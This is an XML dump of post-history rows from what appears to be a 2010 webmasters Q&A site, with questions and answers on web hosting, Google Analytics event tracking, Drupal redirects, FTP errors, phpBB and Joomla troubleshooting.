  <row Id="4505" PostHistoryTypeId="5" PostId="2344" RevisionGUID="08c1ba2d-de08-4470-8064-38de2a4a79dc" CreationDate="2010-08-17T20:14:04.597" UserId="1597" Comment="added 150 characters in body" Text="I am looking for a website host and have been searching the web for similar websites(similar to my website) and trying to see what hosting company they are using.&#xD;&#xA;&#xD;&#xA;I keep looking up details of websites I like on netcraft.com, and I keep finding 'n' number of Netblock owners with Random or generic names. Apart from a few popular ones(eg. Planet.com, MT), I find it extremely difficult to find out who the hosting company is. For eg. Netcraft Site report for a website www.randomwebsite.com gives Netblock owner as RandomWebHoster.com, if I go to RandomWebHoster.com the site does not exist. The DNS is given as ns1.superrandomdns.com, the website superrandomdns.com simply has a page saying superrandomdns.com.&#xD;&#xA;&#xD;&#xA;I am looking for a reliable web host with J2EE support for a accounting webapp.&#xD;&#xA;&#xD;&#xA;How do I investigate stuff myself if I want to find a good host? Where did you begin when looking for a webhost?&#xD;&#xA;&#xD;&#xA;(Please do not down vote the question. My goal is to make host evaluation easier.)&#xD;&#xA;&#xD;&#xA;I understand that different type of websites have different needs, eg. a low traffic blog v/s a mission critical webapp. " />
  <row Id="4506" PostHistoryTypeId="2" PostId="2347" RevisionGUID="a19be8b3-484b-40bf-b629-6faf3ce541f1" CreationDate="2010-08-17T21:02:51.487" UserId="1567" Text="I am tracking the pageviews that each of my authors' articles generates on a Wordpress site with Google Analytics Event Tracking:&#xD;&#xA;&#xD;&#xA;    var pageTracker = _gat._getTracker(&quot;UA-xxxxxxx-x&quot;);&#xD;&#xA;    pageTracker._trackPageview();&#xD;&#xA;    } catch(err) {}&#xD;&#xA;    &lt;?php if ( is_singular()) { ?&gt; &#xD;&#xA;    pageTracker._trackEvent('Authors','viewed','&lt;?php the_author_meta('ID'); ?&gt;'); &#xD;&#xA;    &lt;?php } ?&gt;&#xD;&#xA;&#xD;&#xA;I have an event category &quot;Authors&quot; and there's an event label for each of their IDs.  How can I give each author access to the data for their respective label without giving them access to other author's stats and the sites stats as a whole?&#xD;&#xA;" />
  <row Id="4507" PostHistoryTypeId="1" PostId="2347" RevisionGUID="a19be8b3-484b-40bf-b629-6faf3ce541f1" CreationDate="2010-08-17T21:02:51.487" UserId="1567" Text="Reporting on Specific Event Label in Google Analytics " />
  <row Id="4508" PostHistoryTypeId="3" PostId="2347" RevisionGUID="a19be8b3-484b-40bf-b629-6faf3ce541f1" CreationDate="2010-08-17T21:02:51.487" UserId="1567" Text="&lt;google-analytics&gt;" />
  <row Id="4509" PostHistoryTypeId="5" PostId="2335" RevisionGUID="336e0bc1-ba13-434e-8e10-6666efa0fb3b" CreationDate="2010-08-17T22:33:48.180" UserId="113" Comment="deleted 31 characters in body; edited title" Text="There are so many implementations of the lightbox, which is your favourite to use for your custom site? (javascript based)&#xD;&#xA;&#xD;&#xA;I generally use [Lightbox2][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.huddletogether.com/projects/lightbox2/" />
  <row Id="4510" PostHistoryTypeId="4" PostId="2335" RevisionGUID="336e0bc1-ba13-434e-8e10-6666efa0fb3b" CreationDate="2010-08-17T22:33:48.180" UserId="113" Comment="deleted 31 characters in body; edited title" Text="What is your favourite javascript lightbox implementation?" />
  <row Id="4511" PostHistoryTypeId="2" PostId="2348" RevisionGUID="de3176bc-6243-4de1-b6e5-b9a072635dce" CreationDate="2010-08-17T23:14:44.113" UserId="1603" Text="Take a look at **Composite C1** - there is a bunch of UI videos here: [http://www.youtube.com/user/compositec1#p/u][1] - it's fairly unknown but should be available on MS Web Platform Installer soon and is ihmo worth checking out if user friendliness is key. It's based on .NET 4.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/user/compositec1#p/u&#xD;&#xA;" />
  <row Id="4512" PostHistoryTypeId="16" PostId="2348" RevisionGUID="de3176bc-6243-4de1-b6e5-b9a072635dce" CreationDate="2010-08-17T23:14:44.113" UserId="-1" />
  <row Id="4513" PostHistoryTypeId="2" PostId="2349" RevisionGUID="ede85193-91e8-4acf-8e07-456351438191" CreationDate="2010-08-17T23:27:47.150" UserId="711" Text="In short: No, Google does not penalize .me or .tv sites by default.&#xD;&#xA;&#xD;&#xA;Google would generally treat .me and .tv domains the same as .com. They're all seen as generic TLDs (gTLDs), so they are not country-specific by default (technically, .me and .tv are ccTLDs, but since they're used so widely, Google treats them as gTLDs). &#xD;&#xA;&#xD;&#xA;.co.uk is a bit different - it's a ccTLD, so it's country-specific. For those, it's possible that they are shown a bit higher in the local search results in the UK. However, you can achieve the same effect by using Google Webmaster Tools' geotargeting feature. More on that is at http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;&#xD;&#xA;For other search engines, it's probable that .me &amp; .tv are also seen as gTLDs, but I'm not 100% certain (these things can change over time). Also, in general, unless you can specify geotargeting with them, they will use the server's location for geotargeting of gTLDs - so if you have a .com website hosted in the UK, it's probable that they will use that as a signal that you are trying to target the UK. " />
  <row Id="4514" PostHistoryTypeId="2" PostId="2350" RevisionGUID="bf73d863-06ba-4f34-9e9b-e987001e7ce5" CreationDate="2010-08-17T23:55:53.323" UserId="1603" Text="While IE9 looks very promising, IE6, IE7 and IE8 will probably haunt us for many years to come, slowing the spread of CSS3 on the web. &#xD;&#xA;&#xD;&#xA;A number of projects based on HTC and JS add some CSS3 support to IE:&#xD;&#xA;&#xD;&#xA; - CSS3PIE&#xD;&#xA; - IE7.js&#xD;&#xA; - eCSStender&#xD;&#xA; - DD_roundies&#xD;&#xA; - border-radius.htc (curved-corner)&#xD;&#xA; - ie-css3.htc&#xD;&#xA; - ie-css3.js&#xD;&#xA;&#xD;&#xA;I only have experience with CSS3PIE (doing the rounded stuff on http://docs.composite.net/) and except for the mouse over effects this works well and is pure CSS3. &#xD;&#xA;&#xD;&#xA;What CSS3 features do the different projects bring to IE and how well? Any of them a clear winner?" />
  <row Id="4515" PostHistoryTypeId="1" PostId="2350" RevisionGUID="bf73d863-06ba-4f34-9e9b-e987001e7ce5" CreationDate="2010-08-17T23:55:53.323" UserId="1603" Text="How to enable CSS3 features in Internet Explorer 6, 7 and 8?" />
  <row Id="4516" PostHistoryTypeId="3" PostId="2350" RevisionGUID="bf73d863-06ba-4f34-9e9b-e987001e7ce5" CreationDate="2010-08-17T23:55:53.323" UserId="1603" Text="&lt;css3&gt;&lt;internet-explorer-6&gt;" />
  <row Id="4519" PostHistoryTypeId="2" PostId="2352" RevisionGUID="81350194-7bfb-4e7d-9d52-df0e0cedcd60" CreationDate="2010-08-18T00:30:32.583" UserId="233" Text="[ColorBox][1] is pretty good, though I have had a problem with smaller images and/or longer title captions (it does not stretch the bounding box if the text wraps).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://colorpowered.com/colorbox/" />
  <row Id="4520" PostHistoryTypeId="16" PostId="2352" RevisionGUID="81350194-7bfb-4e7d-9d52-df0e0cedcd60" CreationDate="2010-08-18T00:30:32.583" UserId="-1" />
  <row Id="4521" PostHistoryTypeId="2" PostId="2353" RevisionGUID="74243a02-a2cb-4b21-bd2a-436ce50dd66f" CreationDate="2010-08-18T00:32:13.763" UserId="233" Text="The classic one is [ThickBox][1]. It is no longer maintained but is great if you want a nice, simple lightbox with no fuss.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/demo/thickbox/" />
  <row Id="4522" PostHistoryTypeId="16" PostId="2353" RevisionGUID="74243a02-a2cb-4b21-bd2a-436ce50dd66f" CreationDate="2010-08-18T00:32:13.763" UserId="-1" />
  <row Id="4523" PostHistoryTypeId="2" PostId="2354" RevisionGUID="f0cb6392-d6b9-475e-bddd-1ac9b3c3e45e" CreationDate="2010-08-18T00:49:09.893" UserId="233" Text="You can set up multiple profiles for each site you add to Analytics, and give users access to specific profiles. I believe then it would simply be a matter of duplication the tracking code for the author on the page, something like this:&#xD;&#xA;&#xD;&#xA;    var pageTracker = _gat._getTracker(&quot;UA-base-code&quot;);&#xD;&#xA;    pageTracker._trackPageview();&#xD;&#xA;    var pageTracker = _gat._getTracker(&quot;UA-profile-code&quot;);&#xD;&#xA;    pageTracker._trackPageview();&#xD;&#xA;    } catch(err) {}&#xD;&#xA;&#xD;&#xA;`UA-base-code` would be your ID for the main site profile (accessible by you) and `UA-profile-code` would be the profile associated with the article's author.&#xD;&#xA;&#xD;&#xA;If that doesn't work, you might want to take a look at the [Analytics API][1] - it would take a bit of work, but you could create a mini app that just gives each user the appropriate data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gdata/gdataDeveloperGuide.html" />
  <row Id="4524" PostHistoryTypeId="2" PostId="2355" RevisionGUID="49e3841a-e032-4b56-bdd2-bd08cb31af80" CreationDate="2010-08-18T03:09:11.937" UserId="252" Text="I am migrating an older site to a newer one which is using drupal. As part of this I am trying to setup some 301 redirects to the new pages but I am getting some unexpected behavior. I added the following line to my .htaccess file:&#xD;&#xA;&#xD;&#xA;redirect 301 /redirect.html http://www.mysite.com/newpage&#xD;&#xA;&#xD;&#xA;Unfortunately, what happens is that I get taken to:&#xD;&#xA;&#xD;&#xA;http://www.mysite.com/newpage?q=redirect.html&#xD;&#xA;&#xD;&#xA;Which of course doesn't load correctly. Any thoughts?&#xD;&#xA;" />
  <row Id="4525" PostHistoryTypeId="1" PostId="2355" RevisionGUID="49e3841a-e032-4b56-bdd2-bd08cb31af80" CreationDate="2010-08-18T03:09:11.937" UserId="252" Text="301 redirect behavior in a drupal system" />
  <row Id="4526" PostHistoryTypeId="3" PostId="2355" RevisionGUID="49e3841a-e032-4b56-bdd2-bd08cb31af80" CreationDate="2010-08-18T03:09:11.937" UserId="252" Text="&lt;redirects&gt;&lt;drupal&gt;" />
  <row Id="4527" PostHistoryTypeId="2" PostId="2356" RevisionGUID="c9412937-4183-41d9-a2c6-769e8d60a288" CreationDate="2010-08-18T03:31:25.470" UserId="1064" Text="Your other rewrite rules are interfering.&#xD;&#xA;&#xD;&#xA;Try the following instead:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;&#xD;&#xA;    RewriteRule ^/redirect\.html$ http://www.mysite.com/newpage [L,R=301]&#xD;&#xA;&#xD;&#xA;    # ... existing rewrites" />
  <row Id="4528" PostHistoryTypeId="2" PostId="2357" RevisionGUID="3346822d-7312-43e1-82bf-417c1437cd95" CreationDate="2010-08-18T03:45:07.487" UserId="1519" Text="I'm attempting to upload files to my remote server via FTP, but I continually get blocked from uploading files with &quot;550 Permissions Denied&quot;.&#xD;&#xA;&#xD;&#xA;The strange part is that it worked at first perfectly, an only now has it stopped working. The user I am logged into has the proper privileges, but I still can't upload.&#xD;&#xA;&#xD;&#xA;![][1]&#xD;&#xA;&#xD;&#xA;![][2]&#xD;&#xA;&#xD;&#xA;Any help?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/35wr6.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/cieSf.png" />
  <row Id="4529" PostHistoryTypeId="1" PostId="2357" RevisionGUID="3346822d-7312-43e1-82bf-417c1437cd95" CreationDate="2010-08-18T03:45:07.487" UserId="1519" Text="FTP: 550 Permissions Denied" />
  <row Id="4530" PostHistoryTypeId="3" PostId="2357" RevisionGUID="3346822d-7312-43e1-82bf-417c1437cd95" CreationDate="2010-08-18T03:45:07.487" UserId="1519" Text="&lt;server&gt;&lt;ftp&gt;&lt;uploading&gt;" />
  <row Id="4531" PostHistoryTypeId="2" PostId="2358" RevisionGUID="3e6533bf-6524-458f-882f-4c934690983b" CreationDate="2010-08-18T04:33:22.403" UserId="252" Text="So after a bit of searching, I found the answer &lt;a href=&quot;http://drupal.org/node/38960&quot;&gt;here&lt;/a&gt;. It is similar to danlefree's but slightly diffrent.&#xD;&#xA;&#xD;&#xA;    &lt;IFModule mod_rewrite.c&gt;&#xD;&#xA;        RewriteEngine on&#xD;&#xA;        RewriteBase /&#xD;&#xA;        &#xD;&#xA;        # custom redirects&#xD;&#xA;        &#xD;&#xA;        RewriteRule ^redirect\.html$ http://www.mysite.com/newpage [R=301,L]&#xD;&#xA;&#xD;&#xA;        # end custom redirects&#xD;&#xA;    &#xD;&#xA;        ...&#xD;&#xA;    &lt;/IFModule&gt;&#xD;&#xA;&#xD;&#xA;This seems to get the job done." />
  <row Id="4532" PostHistoryTypeId="2" PostId="2359" RevisionGUID="6e185cc4-ff4a-45c3-a56e-838ddf4fe642" CreationDate="2010-08-18T05:50:37.810" UserId="1606" Text="In my phpbb forum, just after I post a reply to a thread, a page is shown and I've to wait around 5 secs to return back to the thread. How do I reduced the time to 0. (I tried setting the &quot;Flood Interval&quot; to 0 but it dint work." />
  <row Id="4533" PostHistoryTypeId="1" PostId="2359" RevisionGUID="6e185cc4-ff4a-45c3-a56e-838ddf4fe642" CreationDate="2010-08-18T05:50:37.810" UserId="1606" Text="How to reduce delay between forum posts in phpbb" />
  <row Id="4534" PostHistoryTypeId="3" PostId="2359" RevisionGUID="6e185cc4-ff4a-45c3-a56e-838ddf4fe642" CreationDate="2010-08-18T05:50:37.810" UserId="1606" Text="&lt;php&gt;&lt;forum&gt;" />
  <row Id="4535" PostHistoryTypeId="2" PostId="2360" RevisionGUID="84d78fca-3728-4bb6-bd17-b5f83d07c8d0" CreationDate="2010-08-18T08:12:58.633" UserId="632" Text="Is there a wordpress photo gallery plugin that allows you to group photos into albums, comes with a sidebar widget to display the available albums for browsing and doesn't require registration on an external site?  Basically is there something like the Facebook Photo application for Wordpress?&#xD;&#xA;&#xD;&#xA;I've spent hours looking and trying plugins, but none of them seem to do this.  They all link galleries to particular posts.  You can't make albums independent of posts or pages.  And none offer a sidebar widget to display albums.  Anyone know of anything like this?&#xD;&#xA;" />
  <row Id="4536" PostHistoryTypeId="1" PostId="2360" RevisionGUID="84d78fca-3728-4bb6-bd17-b5f83d07c8d0" CreationDate="2010-08-18T08:12:58.633" UserId="632" Text="Wordpress photo gallery plugin with album list sidebar widget?" />
  <row Id="4537" PostHistoryTypeId="3" PostId="2360" RevisionGUID="84d78fca-3728-4bb6-bd17-b5f83d07c8d0" CreationDate="2010-08-18T08:12:58.633" UserId="632" Text="&lt;wordpress&gt;&lt;photo-gallery&gt;" />
  <row Id="4538" PostHistoryTypeId="2" PostId="2361" RevisionGUID="cafbf3b2-75f5-48c4-931f-a9fc11420c3f" CreationDate="2010-08-18T08:18:26.670" UserId="231" Text="Here is a nice article regarding CSS3 and IE6, from Smashing Magazine: http://www.smashingmagazine.com/2010/04/28/css3-solutions-for-internet-explorer/" />
  <row Id="4539" PostHistoryTypeId="2" PostId="2362" RevisionGUID="a8425357-706f-4b15-ba9d-e915d72eafec" CreationDate="2010-08-18T08:30:53.283" UserId="1606" Text="When I try to upload a joomla component, the server error 500 shows up. What can be the cause of the problem?? How do i fix it?&#xD;&#xA;&#xD;&#xA;I tried changing the folder permissions to 777 but the error persists." />
  <row Id="4540" PostHistoryTypeId="1" PostId="2362" RevisionGUID="a8425357-706f-4b15-ba9d-e915d72eafec" CreationDate="2010-08-18T08:30:53.283" UserId="1606" Text="Joomla component upload error 500" />
  <row Id="4541" PostHistoryTypeId="3" PostId="2362" RevisionGUID="a8425357-706f-4b15-ba9d-e915d72eafec" CreationDate="2010-08-18T08:30:53.283" UserId="1606" Text="&lt;php&gt;&lt;cms&gt;" />
  <row Id="4542" PostHistoryTypeId="5" PostId="2344" RevisionGUID="29872415-36ef-4dcc-947c-71ab6171616f" CreationDate="2010-08-18T09:13:44.407" UserId="1597" Comment="added 4 characters in body" Text="I am looking for a website host and have been searching the web for similar websites(similar to my website) and trying to see what hosting company they are using.&#xD;&#xA;&#xD;&#xA;I keep looking up details of websites I like on netcraft.com, and I keep finding 'n' number of Netblock owners with Random or generic names. Apart from a few popular ones(eg. Planet.com, MT), I find it extremely difficult to find out who the hosting company is. For eg. Netcraft Site report for a website www.randomwebsite.com gives Netblock owner as RandomWebHoster.com, if I go to RandomWebHoster.com the site does not exist. The DNS is given as ns1.superrandomdns.com, the website superrandomdns.com simply has a page saying superrandomdns.com.&#xD;&#xA;&#xD;&#xA;I am looking for a reliable web host with **J2EE support** for a accounting webapp.&#xD;&#xA;&#xD;&#xA;How do I investigate stuff myself if I want to find a good host? Where did you begin when looking for a webhost?&#xD;&#xA;&#xD;&#xA;(Please do not down vote the question. My goal is to make host evaluation easier.)&#xD;&#xA;&#xD;&#xA;I understand that different type of websites have different needs, eg. a low traffic blog v/s a mission critical webapp. " />
  <row Id="4543" PostHistoryTypeId="2" PostId="2363" RevisionGUID="208ecebb-ce9f-41dd-9f79-66b78b2c405d" CreationDate="2010-08-18T10:15:44.930" UserId="233" Text="Under Help &gt; System Info &gt; Directory Permissions, make sure all the folders listed are writeable, particulaly the `tmp` and `components` folders.&#xD;&#xA;&#xD;&#xA;On the &quot;PHP Information&quot; tab, make sure it lists some form of ZIP support appropriate to the file you're upload (e.g. 'zip' or 'gzip').&#xD;&#xA;&#xD;&#xA;The most common reason for 500 errors though is a misconfigured `.htaccess` file. Are you using anything in addition to the standard Joomla one?" />
  <row Id="4544" PostHistoryTypeId="2" PostId="2364" RevisionGUID="906ae72b-3697-4b83-bc41-f61c1ec5cfbc" CreationDate="2010-08-18T11:11:54.583" UserId="1424" Text="Can iDeal process international credit cards, for international payments ?&#xD;&#xA;&#xD;&#xA;I'm not talking about trasferring money from bank accounts, but to use it as safe payment gateway for international credit cards all over world.&#xD;&#xA;&#xD;&#xA;I need a good solution for my website.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4545" PostHistoryTypeId="1" PostId="2364" RevisionGUID="906ae72b-3697-4b83-bc41-f61c1ec5cfbc" CreationDate="2010-08-18T11:11:54.583" UserId="1424" Text="Can iDeal process international credit cards, for international payments ? " />
  <row Id="4546" PostHistoryTypeId="3" PostId="2364" RevisionGUID="906ae72b-3697-4b83-bc41-f61c1ec5cfbc" CreationDate="2010-08-18T11:11:54.583" UserId="1424" Text="&lt;payments&gt;" />
  <row Id="4547" PostHistoryTypeId="2" PostId="2365" RevisionGUID="4bc88700-12b4-4217-9b30-de749784f3ec" CreationDate="2010-08-18T11:59:03.890" UserId="1253" Text="From reading [their website][1] I would say they do not offer credit card payments of any kind as they seem to only offer bank-to-bank money transfers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ideal.nl/banken/?lang=eng-GB" />
  <row Id="4548" PostHistoryTypeId="2" PostId="2366" RevisionGUID="3e3ed705-2e9c-4f11-94c5-d63ade7ad8fb" CreationDate="2010-08-18T12:01:03.077" UserId="1253" Text="Sounds like a meta refresh tag to me. Find that tag and change it to have a value of &quot;0&quot; and you should be all set." />
  <row Id="4549" PostHistoryTypeId="2" PostId="2367" RevisionGUID="4fd9746e-d346-4097-8173-77057015ff47" CreationDate="2010-08-18T12:21:58.197" UserId="108" Text="A 550 Error means &quot;Requested action not taken. File unavailable, not found, not accessible.&quot; Since the file is available that means the server isn't accessible. That most likely means one of the following:&#xD;&#xA;&#xD;&#xA; - You have used your Transfer Quota up, Tim Post suggusted this&#xD;&#xA; - You have used up your server space Quota&#xD;&#xA; - Your account has been locked by the hosting company due to some issue like not paying or a clerical mistake on their part (this happens)&#xD;&#xA; - Your host's ftp server is having an authentication issue&#xD;&#xA; - Someone hacked your account or the ftp server.  I have seen this happen but they weren't able to change the ftp passwords.&#xD;&#xA;&#xD;&#xA;Check with the hosting company to make sure you have not used up one of your Quotas.  You should be able to do this through their website. If that isn't the case then give them a call and let them know what is happening.  They will be able to check your account and see if it is locked or having some kind of issue.  Usually they will even reset your password for you if that is the issue for some reason.  If this isn't a quota issue then it is probably an issue on their site and contacting them is the fastest way to fix it.&#xD;&#xA;&#xD;&#xA;Also, it would be helpful if you give us the name of your host.  If you aren't hosting then you need to log in to your remote server and check on your ftp server software.  It has most likely had an error." />
  <row Id="4550" PostHistoryTypeId="2" PostId="2368" RevisionGUID="3da7eae6-1cbe-44ac-add9-65e799ca1d6d" CreationDate="2010-08-18T12:35:59.510" UserId="1429" Text="It's very difficult to find a good web hosting **service**.&#xD;&#xA;And, trust me, it's a huge pain in the neck using a useless Hosting Service with poor technical assistance service.&#xD;&#xA;Especially when you write your own applications to be run on the server.&#xD;&#xA;&#xD;&#xA;As said by John Conde, it's true that most Web Hosters are simply reselling the same type of machines (same systems/servers, with the same OS and the same control panel), most are even resellers of resellers of resellers...&#xD;&#xA;For this exact reason, the real difference in now days is not made so much by the machines (unless they are overloaded obviously).&#xD;&#xA;&#xD;&#xA;**The real difference is made by the SERVICE**: how good the Hoster's tech departments are in **managing those servers**, how **fast are in fixing** issues, how nice and **proactive** they try to be when you tell them something does not work.&#xD;&#xA;&#xD;&#xA;An example for all: you might have a PHP script that makes the server show a 501 Internal Server Error. You are a good coder and you find out on your own what's the exact line of code in that script that makes the server show a 501.&#xD;&#xA;You then copy that single line in another script to do some test on the same server and you eventually see that this new script is still making server show 501, so it's definitely that line of code.&#xD;&#xA;&#xD;&#xA;At this point what do you do? You start changing your app, but that's not a good idea cause it might take you a lot of time to workaround such an issue and what happens if your workaround makes your app work on that server, but not on the server of another hoster?&#xD;&#xA;Do you make a different patch for any type of hoster???&#xD;&#xA;&#xD;&#xA;No, you pay for the hosting **service**, you pay for technical assistance, therefor you open a ticket on your hoster an you tell them: &quot;Hey, I have got a PHP script with one line of code that makes the server show a 501 Internal Server Error, could you help me?&quot;&#xD;&#xA;&#xD;&#xA;Many web hosters (like these: [www.inmotionhosting.com][1]) will simply reply you: &quot;Sorry, but we don't look into code&quot; (even if it's just one line of code), those are the types of web hosters to absolutely avoid.&#xD;&#xA;Some other hosters like these ([www.qualityhostonline.com][2]) will kindly reply you: &quot;We look into it&quot;, and later they discover it's a too strict rule on their Apache mod_security that makes the server run a 501 Internal Server Error. They fix it and you solved all your problems.&#xD;&#xA;&#xD;&#xA;The two example provided above (both coming form my personal experience) might help you also in seeing how difficult is to distinguish them from a webiste. They both have nice webistes, full of awards and &quot;What they say about us&quot; crap.&#xD;&#xA;&#xD;&#xA;Unfortunately you can discover this only by experience using their services or by following peoples suggestions who have used those hosting service before.&#xD;&#xA;&#xD;&#xA;Anyway some way to try a web haoster are:&#xD;&#xA;&#xD;&#xA;1. **send them pre-sales question that should be ALSO TECHNICAL**, maybe also about things that you don't need, but just to see if the guy knows what you are talking about.&#xD;&#xA;You could ask for instance: &quot;Can I make .htm file on you server to be processed by the PHP processors&quot;. If they reply you something like: &quot;No, you can't serve HTML files with PHP processor&quot;, or even worst they find a ridiculous excuse saying that the server would get overloaded, It definitely means they are useless tech guys, this is the typical hoster that at the 1st problem it happens you will understand what a big mistake you did in buying their service.&#xD;&#xA;&#xD;&#xA;2. By doing (1) you also **test how fast they reply** (and if they reply, some do not reply at all even on a pre-sales question, I don't think I need to tell you that these hosters must be avoided completely).&#xD;&#xA;&#xD;&#xA;3. **ping their main website**, many turn down ping on server because they say it might create a security hole. In now says it's crap talking, it creates security hole to servers managed by tech guys who do not know how to prevent those types of attack (generally NOT expert people), do you want those NOT expert people to manage your server?&#xD;&#xA;&#xD;&#xA;4. By doing (3) you can also **see where their servers are**, if the ping takes too long compared to other local websites, it means their server is somewhere on the moon not in US. (I know they could use different servers, one for their website in US and one in India for your website, but they will have different ping times and you can definitely complain about this when your website is up. They will have then to give you a good explanation or totally refund you).&#xD;&#xA;&#xD;&#xA;5. **Don't trust who is selling Unlimited** of Whatever. A basic Physics law says: &quot;Nothing can be created or destroyed, everything can be simply changed&quot;. Now selling Unlimited means creating something from the vacuum that is not possible in Physics. So they are already cheating on you even before saying &quot;Hello&quot; to you. True that if they give you 25 GB of space for your average size website, you will feel it's unlimited space, but then why don't they just write down that they give you 25GB and not unlimited instead of cheating you?! It's a way of thinking, if their managers who created their website think in this way, it surely means it's company driven by marketing guys, the typical guy that does not know anything about tech, but he thinks that is pretty simple, not a problem. Which is also true from their point of view, because if their service goes down they won't have big problems in loosing you as a customer, you provided them what, 25 bucks per year?! But you won't feel the same for your customers when they will scream and shout at you seeing their websites down.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.inmotionhosting.com&#xD;&#xA;  [2]: http://www.qualityhostonline.com" />
  <row Id="4551" PostHistoryTypeId="2" PostId="2369" RevisionGUID="45006f33-8436-480a-87c2-11a318efb9b0" CreationDate="2010-08-18T13:06:24.690" UserId="134" Text="Forget `.htaccess.` Use the [global redirect][1]. It gives you the following:&#xD;&#xA;&#xD;&#xA;1. Checks the current URL for an alias and does a 301 redirect to it if it is not being used.&#xD;&#xA;2. Checks the current URL for a trailing slash, removes it if present and repeats check 1 with the new request.&#xD;&#xA;3. Checks access to the URL. If the user does not have access to the path, then no redirects are done. This helps avoid exposing private aliased node's.&#xD;&#xA;&#xD;&#xA;It simplifies migration of your website slightly, and probably most important, it makes it simple to look up exactly what is being redirected where. (as there is a user interface for it)&#xD;&#xA;&#xD;&#xA;**Bonus** (*imagine clippy popping up here*)&#xD;&#xA;&#xD;&#xA;You seem to be creating clean URLs. I think you might be interested in [pathauto][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/globalredirect&#xD;&#xA;  [2]: http://drupal.org/handbook/modules/pathauto" />
  <row Id="4552" PostHistoryTypeId="5" PostId="2369" RevisionGUID="c5f2bc27-9be1-4409-a471-e7374d6ca496" CreationDate="2010-08-18T13:28:50.680" UserId="134" Comment="added 63 characters in body" Text="Forget `.htaccess.` Use the [global redirect][1]. It gives you the following:&#xD;&#xA;&#xD;&#xA;1. Checks the current URL for an alias and does a 301 redirect to it if it is not being used.&#xD;&#xA;2. Checks the current URL for a trailing slash, removes it if present and repeats check 1 with the new request.&#xD;&#xA;3. Checks access to the URL. If the user does not have access to the path, then no redirects are done. This helps avoid exposing private aliased node's.&#xD;&#xA;&#xD;&#xA;It simplifies migration of your website slightly, and probably most important, it makes it simple to look up exactly what is being redirected where. (as there is a user interface for it)&#xD;&#xA;&#xD;&#xA;**Bonus** (*imagine clippy popping up here*)&#xD;&#xA;&#xD;&#xA;You seem to be creating something similar to [clean URLs][2]. I think you might be interested in [pathauto][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/globalredirect&#xD;&#xA;  [2]: http://drupal.org/node/15365&#xD;&#xA;  [3]: http://drupal.org/handbook/modules/pathauto" />
  <row Id="4553" PostHistoryTypeId="2" PostId="2370" RevisionGUID="de4175d6-1017-481b-b138-ac746840e63b" CreationDate="2010-08-18T14:08:01.503" UserId="1613" Text="If you're using phpBB 3, then you can reduce the refresh time by editing the posting.php file in the root directory of the script.&#xD;&#xA;&#xD;&#xA;Inside you'll find (around line 1118 for 3.0.7PL1) an if statement similar to the following, depending on your version:&#xD;&#xA;&#xD;&#xA;    // Check the permissions for post approval. Moderators are not affected.&#xD;&#xA;    if ((!$auth-&gt;acl_get('f_noapprove', $data['forum_id']) &amp;&amp; !$auth-&gt;acl_get('m_approve', $data['forum_id']) &amp;&amp; empty($data['force_approved_state'])) || (isset($data['force_approved_state']) &amp;&amp; !$data['force_approved_state']))&#xD;&#xA;    {&#xD;&#xA;             meta_refresh(10, $redirect_url);&#xD;&#xA;             $message = ($mode == 'edit') ? $user-&gt;lang['POST_EDITED_MOD'] : $user-&gt;lang['POST_STORED_MOD'];&#xD;&#xA;             $message .= (($user-&gt;data['user_id'] == ANONYMOUS) ? '' : ' '. $user-&gt;lang['POST_APPROVAL_NOTIFY']);&#xD;&#xA;    }&#xD;&#xA;    else&#xD;&#xA;    {&#xD;&#xA;             meta_refresh(3, $redirect_url);&#xD;&#xA;    &#xD;&#xA;             $message = ($mode == 'edit') ? 'POST_EDITED' : 'POST_STORED';&#xD;&#xA;             $message = $user-&gt;lang[$message] . '&lt;br /&gt;&lt;br /&gt;' . sprintf($user-&gt;lang['VIEW_MESSAGE'], '&lt;a href=&quot;' . $redirect_url . '&quot;&gt;', '&lt;/a&gt;');&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You'll notice there are two calls to meta_refresh() in there; the first one - waiting 10 seconds based on the first argument - is used when a forum is moderated, and a post needs to be approved first.  It was changed to this length to give users enough time to see the actual message before the page refreshed.&#xD;&#xA;&#xD;&#xA;The second one - 3 seconds in the current phpBB version - is the one you'll probably want to change.  You can reduce this down to 0 to have users redirected immediately, after which you'll just have the normal 1-2 second lag while the page is served, and the browser renders it.&#xD;&#xA;&#xD;&#xA;One thing to note - you may need to modify this every time you upgrade phpBB, as this is a core file.&#xD;&#xA;" />
  <row Id="4554" PostHistoryTypeId="2" PostId="2371" RevisionGUID="89e852b2-4e5c-4a20-bba6-d2028e8cb14e" CreationDate="2010-08-18T14:15:11.567" UserId="645" Text="I've been using DreamHost for a few months now, and getting things started with them was pretty straightforward. They have an easy script that will allow Django processes to be managed by Passenger. It also gives you an easy route to try out Rails-based or PHP-based applications if you decide later on.3&#xD;&#xA;&#xD;&#xA;Check out [Dreamhost's Wiki on Django][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.dreamhost.com/Django" />
  <row Id="4555" PostHistoryTypeId="2" PostId="2372" RevisionGUID="dcb51293-d0cc-4814-be63-a9dffd7b8f3a" CreationDate="2010-08-18T16:39:53.183" UserId="1614" Text="I'm trying to set up a mobile version of a site, and I'm wondering if I can just set up a m subdomain and put the mobile site in there, or if I need to set up some kind of redirect to make phones automatically go to it.&#xD;&#xA;&#xD;&#xA;Could you point me in the right direction for getting started on this? I'm having trouble finding good info.&#xD;&#xA;&#xD;&#xA;Thanks" />
